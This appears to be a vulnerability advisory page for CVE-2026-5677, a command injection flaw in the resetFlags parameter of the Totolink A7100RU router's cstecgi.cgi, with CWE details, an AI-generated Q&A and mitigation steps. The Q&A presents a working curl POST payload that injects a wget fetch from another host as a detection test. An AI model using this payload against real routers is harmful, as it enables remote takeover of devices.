CVE-2026-5677
OS Command Injection in Totolink A7100RU CsteSystem Function
Publication date: 2026-04-06
Last updated on: 2026-04-29
Assigner: VulDB
Description
Description
CVSS Scores
EPSS Scores
| Probability: | |
| Percentile: |
Meta Information
Affected Vendors & Products
| Vendor | Product | Version / Range |
|---|---|---|
| totolink | a7100ru | 7.4cu.2313_b20191024 |
Helpful Resources
Exploitability
| CWE ID | Description |
|---|---|
| CWE-77 | The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component. |
| CWE-78 | The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. |
Attack-Flow Graph
AI Powered Q&A
How does this vulnerability affect compliance with common standards and regulations (like GDPR, HIPAA)?:
The CVE-2026-5677 vulnerability allows remote attackers to execute arbitrary system commands on the TOTOLINK A7100RU router via a command injection flaw. This can lead to unauthorized access, data manipulation, or disruption of services.
Such unauthorized access and potential data breaches could impact compliance with common standards and regulations like GDPR and HIPAA, which require protection of personal and sensitive data against unauthorized access and ensure system integrity.
However, the provided information does not explicitly detail the direct effects on compliance or specific regulatory impacts.
Can you explain this vulnerability to me?
CVE-2026-5677 is a command injection vulnerability in the TOTOLINK A7100RU router, version 7.4cu.2313_b20191024. It exists in the CGI script /cgi-bin/cstecgi.cgi, specifically in the function handling the "resetFlags" parameter.
The vulnerability occurs because the value of the "resetFlags" parameter is inserted into a buffer without proper sanitization and then passed to a system command execution function (CsteSystem) that uses execv(). This allows an attacker to remotely execute arbitrary operating system commands on the router by sending a specially crafted HTTP POST request.
For example, an attacker can inject commands like `wget 192.168.6.1:7777/testpoc` to make the router execute unintended commands, confirming remote code execution capability.
How can this vulnerability impact me? :
This vulnerability allows remote attackers to execute arbitrary system commands on the affected TOTOLINK A7100RU router without any authentication.
- Attackers can take full control of the router, potentially altering its configuration or behavior.
- It can be used to install malware, create backdoors, or pivot attacks into the internal network.
- The router could be used as part of a botnet or to intercept and manipulate network traffic.
- Because the exploit is publicly available, the risk of exploitation is high.
How can this vulnerability be detected on my network or system? Can you suggest some commands?
This vulnerability can be detected by sending crafted HTTP POST requests to the /cgi-bin/cstecgi.cgi endpoint of the TOTOLINK A7100RU router, specifically targeting the resetFlags parameter.
A proof of concept involves sending a POST request with the resetFlags parameter set to a command such as `wget 192.168.6.1:7777/testpoc`. If the router executes this command, it confirms the presence of the vulnerability.
Example command using curl to test the vulnerability:
- curl -X POST http://[router_ip]/cgi-bin/cstecgi.cgi -d "resetFlags=wget 192.168.6.1:7777/testpoc"
Monitoring network traffic for unusual outbound connections or commands triggered by such HTTP requests can also help detect exploitation attempts.
What immediate steps should I take to mitigate this vulnerability?
To mitigate the CVE-2026-5677 vulnerability, immediately restrict remote access to the /cgi-bin/cstecgi.cgi endpoint on the TOTOLINK A7100RU router to prevent exploitation of the command injection flaw.
Additionally, monitor network traffic for suspicious POST requests containing the resetFlags parameter, which could indicate attempted exploitation.
If possible, apply any available firmware updates or patches from the vendor that address this vulnerability.
As a temporary measure, consider disabling the vulnerable CGI functionality or isolating the device from untrusted networks until a fix is applied.